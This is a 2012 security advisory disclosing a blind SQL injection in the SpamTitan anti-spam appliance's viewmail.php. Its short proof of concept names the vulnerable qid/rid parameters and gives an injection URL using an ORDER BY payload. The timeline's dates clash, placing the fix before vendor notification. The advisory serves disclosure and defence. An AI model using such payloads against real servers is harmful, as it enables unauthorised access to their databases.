Document Title:
===============
SpamTitan Application v5.08x - SQL Injection Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=197

http://www.cnnvd.org.cn/vulnerability/show/cv_id/2012020020
ID: CNNVD-201202-020


Release Date:
=============
2012-01-22


Vulnerability Laboratory ID (VL-ID):
====================================
197


Product & Service Introduction:
===============================
SpamTitan Anti Spam is a complete software solution to email security offering protection from Spam, Viruses, Trojans, Phishing 
and unwanted content. Feature Set 

    * Two Anti Virus engines including ClamAV and Kaspersky Labs
    * Multi layered Anti Spam analyses resulting in 98% plus Spam detection
    * Less than 0.03% False Positive Rate
    * Content Filtering
    * Inward and outward email scanning
    * Email Disclaimer capability
    * Simple download and installation process
    * Plug and Play Solution
    * End user Spam management using email quarantine reports
    * Web based administrative GUI
    * Multiple automated reports
    * Automated updating including anti virus, anti spam, version releases and system backup
    * LDAP, Dynamic and aliases file recipient verification
    * Per domain administrators
    * Per domain reports
    * API
    * Multi node Cluster

SpamTitan is available in two flavours, SpamTitan ISO and SpamTitan for VMware®, both of which can be downloaded and installed for free.

(Copy of the Vendor Homepage: http://www.spamtitan.com/products)


Abstract Advisory Information:
==============================
Vulnerability Lab Team discovered a remote SQL Injection vulnerability on the  SpamTitan Appliance(Application) v5.08.x


Vulnerability Disclosure Timeline:
==================================
2011-09-17:	Vendor Notification
2011-11-20:	Vendor Response/Feedback
2011-01-14:	Vendor Fix/Patch
2011-01-23:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================
Copperfasten Technologies
Product: SpamTitan Appliance Application 5.0x


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A remote sql injection vulnerability is detected on the new SpamTitan Application v5.08.x
The vulnerability allows an remote attacker to inject & execute own sql statements blind.
The attack method is Order by Injection.


--- Error Logs ---
MDB2 Error: unknown error


Vulnerable Module(s):	
					      [+] Session QID+RID

Picture(s):
					      ../sql1.png


Proof of Concept (PoC):
=======================
The vulnerabilitys can be exploited by remote attackers. For demonstration or reproduce ...

Path:					../
File:					viewmail.php
Param(s):				?activepage=details&qid=w3jYVc7V3LFF&rid=

Section(SQL):
http://[Server]:[Port]/[File]+[Param]+[Session]&[QID]=87' order by 15--


Reference(s):
http://xxx.com:8080/viewmail.php?activepage=details&qid=w3jYVc7V3LFF&rid=87%27%20order%20by%2015--


Security Risk:
==============
The security risk of the sql injection vulnerability are estimated as critical.


Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri & Pim J.F. Campers


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com 	- support@vulnerability-lab.com 	       - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory